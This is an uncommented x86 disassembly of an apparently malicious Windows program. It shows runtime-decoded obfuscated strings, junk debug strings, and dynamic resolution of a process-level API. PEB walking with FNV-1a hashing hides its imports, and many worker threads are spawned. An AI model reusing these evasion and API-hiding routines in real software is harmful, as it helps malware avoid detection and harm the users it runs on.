mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x53710d], 0
je 0x464d50
mov edx, 0x534cfc
lea ecx, [ebp - 0x1b8]
call fcn.0041c0a0
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x2a4]
call fcn.0046a5c0
cmp dword [0x534d0c], 0
jne 0x464ea0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x294], 0
jne 0x464ea0
mov edx, 0x534cfc
lea ecx, [ebp - 0x3c8]
call fcn.0041c0a0
mov esi, eax
lea ecx, [ebp - 0x1b8]
push esi
call fcn.0046a5f0
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.0046a5f0
lea ecx, [ebp - 0x3b0]
call fcn.004028d0
lea ecx, [ebp - 0x3c8]
call fcn.004028d0
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x2a4]
call fcn.0046a5c0
push 0
push 0x2be0
call fcn.00406bd0
add esp, 8
push eax
call edi
cmp dword [0x534d0c], 0
je 0x464e27
mov ecx, 0x534cfc
call fcn.00402a20
push 0x5227a8
push eax
call fcn.004e0b60
add esp, 8
test eax, eax
je 0x464f5c
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
jmp 0x464ed0
push esi
lea ecx, [ebp - 0x128]
call fcn.00402ac0
push 1
push 0x522498
lea ecx, [ebp - 0x128]
call fcn.00402ae0
push edi
lea ecx, [ebp - 0x28c]
call fcn.00402ac0
push 1
push 0x5227a8
lea ecx, [ebp - 0x28c]
call fcn.00402ae0
lea eax, [ebp - 0x128]
mov ecx, 0x534cfc
push eax
lea edx, [ebp - 0x28c]
call fcn.0040ae50
add esp, 4
lea ecx, [ebp - 0x28c]
call fcn.004028d0
lea ecx, [ebp - 0x128]
call fcn.004028d0
mov ecx, 0x534cfc
call fcn.00402a20
push 0x5227a8
push eax
call fcn.004e0b60
add esp, 8
test eax, eax
jne 0x464ed0
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xc4], 0x100a0a6
call fcn.00467b60
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x5f8]
call fcn.00402980
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xc8], 0x100afbf
call fcn.00467b60
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x5e0]
call fcn.00402980
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0x100acb6
call fcn.00467b60
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00402980
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0x100b8b5
call fcn.00467b60
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x5b0]
call fcn.00402980
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x100afa1
call fcn.00467b60
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x598]
call fcn.00402980
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x78], 0x100b1b9
call fcn.00467b60
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x580]
call fcn.00402980
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0x100b2bf
call fcn.00467b60
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x568]
call fcn.00402980
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x100bfa0
call fcn.00467b60
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x550]
call fcn.00402980
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x54], 0x100b4a1
call fcn.00467b60
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x538]
call fcn.00402980
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x44], 0x100afb5
call fcn.00467b60
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x520]
call fcn.00402980
lea eax, [ebp - 0x508]
lea ecx, [ebp - 0x5f8]
push eax
push ecx
lea ecx, [ebp - 0x418]
call fcn.00466ea0
push fcn.004028d0
push 0xa
push 0x18
lea eax, [ebp - 0x5f8]
push eax
call fcn.004df555
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x418]
call fcn.0046f370
test eax, eax
je 0x46514e
lea ecx, [ebp - 0x257]
mov dword [ebp - 0x257], 0x92a281ba
mov dword [ebp - 0x253], 0x9593948a
mov dword [ebp - 0x24f], 0xaf9b899d
mov dword [ebp - 0x24b], 0x66616e72
mov dword [ebp - 0x247], 0x1007677
call fcn.004679a0
push 0x522720
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x257]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x46514e
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.__TGRERTERYERY
call ebx
call fcn.0041f810
call fcn.0041f880
call fcn.0041f8f0
call fcn.0041f960
call fcn.0041f9d0
cmp byte [0x537310], 1
jne 0x4655ee
lea ecx, [ebp - 0x1f3]
mov dword [ebp - 0x1f3], 0x95978793
mov dword [ebp - 0x1ef], 0x89998aa7
mov dword [ebp - 0x1eb], 0x909899
mov byte [ebp - 0x1e7], 1
call fcn.00467b20
lea eax, [ebp - 0x1f3]
mov ecx, 0x537310
push eax
call fcn.0046e710
cmp byte [eax], 4
jne 0x4655ee
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x200], 0x95978793
mov dword [ebp - 0x1fc], 0x89998aa7
mov dword [ebp - 0x1f8], 0x909899
mov byte [ebp - 0x1f4], 1
call fcn.00467b20
lea eax, [ebp - 0x200]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0x9d]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0x9d]
push str.ewetwertyer_eytdryrtdy
mov byte [0x533aab], al
call ebx
lea ecx, [ebp - 0x155]
mov dword [ebp - 0x155], 0x95978793
mov dword [ebp - 0x151], 0x9d8da7
mov byte [ebp - 0x14d], 1
call fcn.00467b90
lea eax, [ebp - 0x155]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0x9e]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0x9e]
lea ecx, [ebp - 0x4d]
mov byte [0x533ac5], al
mov dword [ebp - 0x4d], 0x95978793
mov dword [ebp - 0x49], 0x899da7
mov byte [ebp - 0x45], 1
call fcn.00467b90
lea eax, [ebp - 0x4d]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0x9f]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0x9f]
lea ecx, [ebp - 0x8e]
mov byte [0x533aaa], al
mov dword [ebp - 0x8e], 0x95978793
mov dword [ebp - 0x8a], 0x979b8ea7
mov dword [ebp - 0x86], 0x8c8a9890
mov word [ebp - 0x82], 0x100
call fcn.004679d0
lea eax, [ebp - 0x8e]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0xa0]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0xa0]
lea ecx, [ebp - 0x20f]
mov byte [0x533aa9], al
mov dword [ebp - 0x20f], 0x95978793
mov dword [ebp - 0x20b], 0x929290a7
mov dword [ebp - 0x207], 0x8d91898f
mov word [ebp - 0x203], 0x79
mov byte [ebp - 0x201], 1
call fcn.00467cb0
lea eax, [ebp - 0x20f]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0x99]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0x99]
lea ecx, [ebp - 0x15f]
mov byte [0x533ac4], al
mov dword [ebp - 0x15f], 0x95978793
mov dword [ebp - 0x15b], 0x8b8e9fa7
mov word [ebp - 0x157], 0x100
call fcn.00467a30
lea eax, [ebp - 0x15f]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0xa1]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0xa1]
lea ecx, [ebp - 0x1cc]
test al, al
mov byte [0x533ac6], al
mov dword [ebp - 0x1cc], 0x95978793
setne al
mov dword [ebp - 0x1c8], 0x969b9ea7
dec al
mov dword [ebp - 0x1c4], 0x1008e99
and byte [0x533aa8], al
call fcn.00467a00
lea eax, [ebp - 0x1cc]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0xa2]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0xa2]
lea ecx, [ebp - 0x22f]
mov byte [0x533aa8], al
mov dword [ebp - 0x22f], 0x95978793
mov dword [ebp - 0x22b], 0x889f94a7
mov dword [ebp - 0x227], 0x9890988f
mov dword [ebp - 0x223], 0x717365
mov byte [ebp - 0x21f], 1
call fcn.00467a60
lea eax, [ebp - 0x22f]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0xa3]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0xa3]
push str.td_ydrthrhfty
mov byte [0x534b96], al
call ebx
lea ecx, [ebp - 0x169]
mov dword [ebp - 0x169], 0x95978793
mov dword [ebp - 0x165], 0x958a8fa7
mov word [ebp - 0x161], 0x100
call fcn.00467a30
lea eax, [ebp - 0x169]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0x90]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0x90]
lea ecx, [ebp - 0x173]
mov byte [0x533ac7], al
mov dword [ebp - 0x173], 0xa8938681
mov dword [ebp - 0x16f], 0x98948f90
mov word [ebp - 0x16b], 0x100
call fcn.00467a30
lea eax, [ebp - 0x173]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0x91]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0x91]
lea ecx, [ebp - 0x26b]
mov byte [0x537108], al
mov dword [ebp - 0x26b], 0x90849099
mov dword [ebp - 0x267], 0x8998a69d
mov dword [ebp - 0x263], 0x9a8d8a93
mov dword [ebp - 0x25f], 0x62665e72
mov dword [ebp - 0x25b], 0x1006470
call fcn.004679a0
lea eax, [ebp - 0x26b]
push eax
mov ecx, 0x537310
call fcn.0046e710
lea edx, [ebp - 0x92]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0x92]
lea ecx, [ebp - 0x3d]
mov byte [0x5370e3], al
mov dword [ebp - 0x3d], 0x90849099
mov dword [ebp - 0x39], 0x949da69d
mov dword [ebp - 0x35], 0x9a929a93
mov dword [ebp - 0x31], 0x686d755f
mov dword [ebp - 0x2d], 0x756b61
mov byte [ebp - 0x29], 1
call fcn.00467720
lea eax, [ebp - 0x3d]
mov ecx, 0x537310
push eax
call fcn.0046e710
lea edx, [ebp - 0x93]
mov ecx, eax
call fcn.0047e540
mov al, byte [ebp - 0x93]
mov byte [0x537102], al
push 0x5222e8
lea ecx, [ebp - 0x320]
call fcn.00402980
push 0x5222e8
lea ecx, [ebp - 0x308]
call fcn.00402980
push 0x5222e8
lea ecx, [ebp - 0x2f0]
call fcn.00402980
push 0x5373e0
lea ecx, [ebp - 0x2c0]
call fcn.0046bc80
lea ecx, [ebp - 0x2c0]
call fcn.0046bc40
push 0x5373e0
lea ecx, [ebp - 0x360]
call fcn.0046bc80
lea ecx, [ebp - 0x360]
call fcn.0046bc10
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x2c0]
call fcn.0046bb50
test al, al
jne 0x465d38
mov ebx, dword [ebp - 0x10]
lea ecx, [ebp - 0x2c0]
call fcn.004675f0
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0xfc], 0x929b949a
mov edi, eax
mov word [ebp - 0xf8], 0x100
call fcn.00467bc0
lea eax, [ebp - 0xfc]
mov ecx, edi
push eax
call fcn.0046e710
lea ecx, [ebp - 0x128]
mov esi, eax
call fcn.004029f0
lea edx, [ebp - 0x128]
mov ecx, esi
call fcn.0047e4a0
lea ecx, [ebp - 0x3e]
mov dword [ebp - 0x3e], 0xa8919a98
mov dword [ebp - 0x3a], 0x9e8e988f
mov dword [ebp - 0x36], 0x8d9f908e
mov dword [ebp - 0x32], 0x6a6e5e6b
mov dword [ebp - 0x2e], 0x3659606a
mov word [ebp - 0x2a], 0x100
call fcn.004677b0
push 0
lea eax, [ebp - 0x3e]
push eax
lea ecx, [ebp - 0x128]
call fcn.0046a1e0
lea ecx, [ebp - 0x128]
mov esi, eax
call fcn.004028d0
test esi, esi
jne 0x4658ad
lea ecx, [ebp - 0x136]
mov dword [ebp - 0x136], 0x829a9482
mov word [ebp - 0x132], 0x9d
mov byte [ebp - 0x130], 1
call fcn.00467da0
lea eax, [ebp - 0x136]
mov ecx, edi
push eax
call fcn.0046e710
lea ecx, [ebp - 0x3b0]
push ecx
mov ecx, eax
call fcn.0046e840
push eax
lea ecx, [ebp - 0x320]
call fcn.0046a5f0
lea ecx, [ebp - 0x3b0]
call fcn.004028d0
lea ecx, [ebp - 0x66]
mov dword [ebp - 0x66], 0xc98497c8
mov word [ebp - 0x62], 0x100
call fcn.00467bc0
push esi
lea eax, [ebp - 0x66]
push eax
lea ecx, [ebp - 0x320]
call fcn.0046a1e0
cmp eax, 0xffffffff
je 0x4658ad
jmp 0x4657b0
lea ecx, [ebp - 0xaf]
mov dword [ebp - 0xaf], 0x100fff9
call fcn.00467b60
push dword [ebp - 0x10]
lea ecx, [ebp - 0x28c]
call fcn.00402ac0
lea ecx, [ebp - 0xaf]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4657e0
sub ecx, edx
lea eax, [ebp - 0xaf]
push ecx
push eax
lea ecx, [ebp - 0x28c]
call fcn.00402ae0
lea ecx, [ebp - 0xce]
mov dword [ebp - 0xce], 0xc98497c8
mov word [ebp - 0xca], 0x100
call fcn.00467bc0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x128]
call fcn.00402ac0
lea ecx, [ebp - 0xce]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x465831
sub ecx, edx
lea eax, [ebp - 0xce]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00402ae0
lea eax, [ebp - 0x28c]
push eax
lea edx, [ebp - 0x128]
lea ecx, [ebp - 0x320]
call fcn.0040ae50
add esp, 4
lea ecx, [ebp - 0x128]
call fcn.004028d0
lea ecx, [ebp - 0x28c]
call fcn.004028d0
lea ecx, [ebp - 0x66]
mov dword [ebp - 0x66], 0xc98497c8
mov word [ebp - 0x62], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0x66]
push eax
lea ecx, [ebp - 0x320]
call fcn.0046a1e0
cmp eax, 0xffffffff
jne 0x4657b0
lea ecx, [ebp - 0x102]
mov dword [ebp - 0x102], 0x929b949a
mov word [ebp - 0xfe], 0x100
call fcn.00467bc0
lea eax, [ebp - 0x102]
mov ecx, edi
push eax
call fcn.0046e710
lea ecx, [ebp - 0x128]
mov esi, eax
call fcn.004029f0
lea edx, [ebp - 0x128]
mov ecx, esi
call fcn.0047e4a0
lea ecx, [ebp - 0x3e]
mov dword [ebp - 0x3e], 0xa8919a98
mov dword [ebp - 0x3a], 0x9e8e988f
mov dword [ebp - 0x36], 0x8d9f908e
mov dword [ebp - 0x32], 0x6a6e5e6b
mov dword [ebp - 0x2e], 0x3559606a
mov word [ebp - 0x2a], 0x100
call fcn.004677b0
push 0
lea eax, [ebp - 0x3e]
push eax
lea ecx, [ebp - 0x128]
call fcn.0046a1e0
lea ecx, [ebp - 0x128]
mov esi, eax
call fcn.004028d0
test esi, esi
jne 0x465aed
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x144], 0x829a9482
mov word [ebp - 0x140], 0x9d
mov byte [ebp - 0x13e], 1
call fcn.00467da0
lea eax, [ebp - 0x144]
mov ecx, edi
push eax
call fcn.0046e710
lea ecx, [ebp - 0x128]
mov esi, eax
call fcn.004029f0
lea edx, [ebp - 0x128]
mov ecx, esi
call fcn.0047e4a0
lea eax, [ebp - 0x128]
push eax
lea ecx, [ebp - 0x308]
call fcn.0046a5f0
lea ecx, [ebp - 0x128]
call fcn.004028d0
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0xc98497c8
mov word [ebp - 0x68], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x308]
call fcn.0046a1e0
cmp eax, 0xffffffff
je 0x465aed
jmp 0x4659f0
lea ecx, [ebp - 0xab]
mov dword [ebp - 0xab], 0x100fff9
call fcn.00467b60
push dword [ebp - 0x10]
lea ecx, [ebp - 0x28c]
call fcn.00402ac0
lea ecx, [ebp - 0xab]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x465a20
sub ecx, edx
lea eax, [ebp - 0xab]
push ecx
push eax
lea ecx, [ebp - 0x28c]
call fcn.00402ae0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xd4], 0xc98497c8
mov word [ebp - 0xd0], 0x100
call fcn.00467bc0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x128]
call fcn.00402ac0
lea ecx, [ebp - 0xd4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x465a71
sub ecx, edx
lea eax, [ebp - 0xd4]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00402ae0
lea eax, [ebp - 0x28c]
push eax
lea edx, [ebp - 0x128]
lea ecx, [ebp - 0x308]
call fcn.0040ae50
add esp, 4
lea ecx, [ebp - 0x128]
call fcn.004028d0
lea ecx, [ebp - 0x28c]
call fcn.004028d0
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0xc98497c8
mov word [ebp - 0x68], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x308]
call fcn.0046a1e0
cmp eax, 0xffffffff
jne 0x4659f0
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x108], 0x929b949a
mov word [ebp - 0x104], 0x100
call fcn.00467bc0
lea eax, [ebp - 0x108]
mov ecx, edi
push eax
call fcn.0046e710
lea ecx, [ebp - 0x128]
mov esi, eax
call fcn.004029f0
lea edx, [ebp - 0x128]
mov ecx, esi
call fcn.0047e4a0
lea ecx, [ebp - 0x3e]
mov dword [ebp - 0x3e], 0xa8919a98
mov dword [ebp - 0x3a], 0x9e8e988f
mov dword [ebp - 0x36], 0x8d9f908e
mov dword [ebp - 0x32], 0x6a6e5e6b
mov dword [ebp - 0x2e], 0x3459606a
mov word [ebp - 0x2a], 0x100
call fcn.004677b0
push 0
lea eax, [ebp - 0x3e]
push eax
lea ecx, [ebp - 0x128]
call fcn.0046a1e0
lea ecx, [ebp - 0x128]
mov esi, eax
call fcn.004028d0
test esi, esi
jne 0x465d0d
lea ecx, [ebp - 0x13d]
mov dword [ebp - 0x13d], 0x829a9482
mov word [ebp - 0x139], 0x9d
mov byte [ebp - 0x137], 1
call fcn.00467da0
lea eax, [ebp - 0x13d]
mov ecx, edi
push eax
call fcn.0046e710
lea ecx, [ebp - 0x3b0]
push ecx
mov ecx, eax
call fcn.0046e840
push eax
lea ecx, [ebp - 0x2f0]
call fcn.0046a5f0
lea ecx, [ebp - 0x3b0]
call fcn.004028d0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x60], 0xc98497c8
mov word [ebp - 0x5c], 0x100
call fcn.00467bc0
push esi
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x2f0]
call fcn.0046a1e0
cmp eax, 0xffffffff
je 0x465d0d
lea ecx, [ebp - 0xa7]
mov dword [ebp - 0xa7], 0x100fff9
call fcn.00467b60
push ebx
lea ecx, [ebp - 0x28c]
call fcn.00402ac0
lea ecx, [ebp - 0xa7]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x465c40
sub ecx, edx
lea eax, [ebp - 0xa7]
push ecx
push eax
lea ecx, [ebp - 0x28c]
call fcn.00402ae0
lea ecx, [ebp - 0xda]
mov dword [ebp - 0xda], 0xc98497c8
mov word [ebp - 0xd6], 0x100
call fcn.00467bc0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x128]
call fcn.00402ac0
lea ecx, [ebp - 0xda]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x465c91
sub ecx, edx
lea eax, [ebp - 0xda]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00402ae0
lea eax, [ebp - 0x28c]
push eax
lea edx, [ebp - 0x128]
lea ecx, [ebp - 0x2f0]
call fcn.0040ae50
add esp, 4
lea ecx, [ebp - 0x128]
call fcn.004028d0
lea ecx, [ebp - 0x28c]
call fcn.004028d0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x60], 0xc98497c8
mov word [ebp - 0x5c], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x2f0]
call fcn.0046a1e0
cmp eax, 0xffffffff
jne 0x465c10
lea ecx, [ebp - 0x2c0]
call fcn.004675a0
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x2c0]
call fcn.0046bb50
test al, al
je 0x465671
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x2f0]
push eax
lea edx, [ebp - 0x308]
lea ecx, [ebp - 0x320]
call fcn.00408400
add esp, 4
cmp byte [0x53710a], 0
jne 0x466b1a
call fcn.0044c620
call fcn.0044f280
push str.45_hgfch_rtdyt_gfch
call ebx
mov ecx, 0x5372c8
call fcn.00467200
mov ecx, 0x5373c8
call fcn.00467200
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x450a70
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4570f0
push 0
mov ebx, eax
push 0
mov dword [ebp - 0x54], ebx
call esi
mov dword [ebp - 0x44], eax
call fcn.0043c7f0
test al, al
je 0x465e7a
lea ecx, [ebp - 0x388]
call fcn.0043ca80
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0x9e919a98
mov edi, eax
mov dword [ebp - 0x148], 0x1008a96
call fcn.00467ac0
lea ecx, [ebp - 0x17d]
mov dword [ebp - 0x17d], 0x9b8394a2
mov dword [ebp - 0x179], 0xbeb3a68c
mov word [ebp - 0x175], 0x100
call fcn.00467a30
sub esp, 0x10
lea eax, [ebp - 0x14c]
mov esi, esp
mov ecx, edi
push eax
call fcn.0046e710
push eax
mov ecx, esi
call fcn.004684b0
lea eax, [ebp - 0x17d]
mov ecx, 0x537360
push eax
call fcn.0046e710
mov ecx, eax
call fcn.00468470
push dword [ebp - 0x388]
lea ecx, [ebp - 0x380]
call fcn.0046bcc0
cmp byte [0x537103], 0
je 0x465e7a
mov eax, dword [0x5370e8]
test eax, eax
je 0x465e73
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x537103], 0
lea ecx, [ebp - 0x398]
call fcn.0043d910
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0x9e919a98
mov edi, eax
mov dword [ebp - 0x24], 0x1008a96
call fcn.00467ac0
lea ecx, [ebp - 0x243]
mov dword [ebp - 0x243], 0x93989ca3
mov dword [ebp - 0x23f], 0xb8898e97
mov dword [ebp - 0x23b], 0x9a9a988e
mov dword [ebp - 0x237], 0x626b756e
mov dword [ebp - 0x233], 0x1007668
call fcn.004679a0
sub esp, 0x10
lea eax, [ebp - 0x28]
mov esi, esp
mov ecx, edi
push eax
call fcn.0046e710
push eax
mov ecx, esi
call fcn.004684b0
lea eax, [ebp - 0x243]
mov ecx, 0x537360
push eax
call fcn.0046e710
mov ecx, eax
call fcn.00468470
push dword [ebp - 0x398]
lea ecx, [ebp - 0x390]
call fcn.0046bcc0
push 0
push 0x4b39f
call fcn.00406bd0
add esp, 8
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, edi
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x465fa4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x465fa4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x465f9d
jmp 0x465f80
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x465f80
cmp esi, 0x71948ca4
je 0x465fa8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x465f66
mov eax, dword [eax]
jmp 0x465f40
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x466039
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x466039
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x466032
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466015
cmp esi, 0xfaba0065
je 0x46603d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466000
mov eax, dword [eax]
jmp 0x465fd7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x54]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4660c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4660c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4660c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4660a5
cmp esi, 0xfaba0065
je 0x4660cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466090
mov eax, dword [eax]
jmp 0x466067
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
call fcn.0044fad0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x457770
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x459440
push 0
push 0
mov dword [ebp - 0x44], eax
call ebx
push 0
push 0
push 0
push 0x45c730
push 0
push 0
mov dword [ebp - 0x54], eax
call ebx
push 0
push 0
push 0
push 0x45eaa0
push 0
push 0
mov dword [ebp - 0x7c], eax
call ebx
push 0
push 0
push 0
push 0x461810
push 0
push 0
mov dword [ebp - 0x80], eax
call ebx
push 0
push 0
push 0
push 0x4619e0
push 0
push 0
mov dword [ebp - 0x78], eax
call ebx
push 0
push 0
push 0
push 0x463630
push 0
push 0
mov dword [ebp - 0x74], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x70], eax
mov ecx, esp
push 0x534cfc
call fcn.0046a770
sub esp, 0x18
lea eax, [ebp - 0x1a0]
mov ecx, esp
push eax
call fcn.0046a770
sub esp, 0x18
lea eax, [ebp - 0x1b8]
mov ecx, esp
push eax
call fcn.0046a770
sub esp, 0x18
mov ecx, esp
push 0x534d14
call fcn.0046a770
call fcn.0040c430
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x466239
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x466239
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea esp, [esp]
